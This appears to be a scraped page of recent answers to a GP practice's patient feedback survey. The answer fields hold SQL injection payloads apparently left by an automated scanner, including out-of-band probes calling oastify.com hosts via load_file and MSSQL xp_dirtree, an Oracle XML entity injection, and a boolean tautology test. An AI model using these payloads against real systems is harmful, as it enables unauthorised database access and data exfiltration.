Summary of past responses
You must include a field id or key in your graph shortcode.Recent responses
| Thinking about our GP practice… Overall, how was your experience of our service? | Please can you tell us why you gave your answer? | Please tell us about anything that we could have… | Date |
|---|---|---|---|
(select load_file(‘\va98he111zq5olm47ygf89b51w70vtlhcj0bn8bx.oastify.comjjv’)) | [10] | [11] | July 4, 2023 at 11:08 am |
Very good’;declare @q varchar(99);set @q=’idzvk14o4mtsr8pralj2bwes4janygo4fv3nqke9.oasti’+’fy.comacv’; exec master.dbo.xp_dirtree @q;– | [10] | [11] | July 4, 2023 at 11:08 am |
Very good’||(select extractvalue(xmltype(‘<!DOCTYPE root [ %cdmyi;]>’),’/l’) from dual)||’ | [10] | [11] | July 4, 2023 at 11:08 am |
(select extractvalue(xmltype(‘<!DOCTYPE root [ %cdmyi;]>’),’/l’) from dual) | [10] | [11] | July 4, 2023 at 11:08 am |
Very good69082706′ or ‘8552’=’8552 | [10] | [11] | July 4, 2023 at 11:08 am |
